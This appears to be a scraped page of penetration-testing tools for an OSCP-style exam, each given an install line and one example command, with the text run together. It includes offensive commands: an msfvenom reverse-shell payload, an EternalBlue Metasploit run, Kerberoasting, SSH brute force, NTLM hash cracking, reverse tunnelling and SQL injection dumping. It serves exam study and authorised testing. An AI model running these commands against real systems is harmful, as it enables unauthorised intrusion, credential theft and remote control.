Industry gold standard for penetration testing. Requires real exploitation of live machines in 24 hours. No multiple choice.
Official PageAD attack path visualization and enumeration
sudo apt install bloodhoundbloodhound-python -d domain.local -u user -p pass -ns 10.10.10.x -c allPython toolkit for AD and network protocol attacks
pip3 install impacketGetUserSPNs.py domain/user:pass -dc-ip 10.10.10.x -requestAD/SMB enumeration and attack automation
pip3 install crackmapexeccme smb 10.10.10.0/24 -u user -p pass --sharesSMB/NetBIOS enumeration for Windows/Samba hosts
sudo apt install enum4linuxenum4linux -a 10.10.10.xFast web fuzzer for dirs, params and vhosts
sudo apt install ffufffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -fc 404Directory, file and DNS brute-force enumeration
sudo apt install gobustergobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txtNetwork scanner for port, service, OS and script-based detection
sudo apt install nmapnmap -sC -sV -p- --open -oA scan 10.10.10.xMetasploit payload generator
sudo apt install metasploit-frameworkmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 -f exe -b "\x00" -o shell.exeComprehensive exploitation framework with 2000+ modules
sudo apt install metasploit-frameworkmsfconsole; use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS target; runOffline ExploitDB search and mirror tool
sudo apt install exploitdbsearchsploit -m 39161; searchsploit --updateGPU-accelerated password cracking
sudo apt install hashcathashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.ruleNetwork login brute-force tool
sudo apt install hydrahydra -l admin -P rockyou.txt ssh://10.10.10.xFast TCP tunnel over HTTP
go install github.com/jpillora/chisel@latestchisel server -p 8888 --reverse (attacker); chisel client 10.10.14.x:8888 R:socksWinRM interactive shell for pentesting
gem install evil-winrmevil-winrm -i 10.10.10.x -u Administrator -p Password123Linux privilege escalation automated enumeration
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.shbash linpeas.sh 2>/dev/null | tee linpeas.txtWindows privilege escalation automated enumeration
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe -o winpeas.exewinpeas.exe log > winpeas.txtWeb proxy for HTTP interception and manipulation
Download from portswigger.netConfigure browser proxy 127.0.0.1:8080Automated SQL injection detection and exploitation
sudo apt install sqlmapsqlmap -u "http://target/page?id=1" --dbs --batch --level 3 --risk 2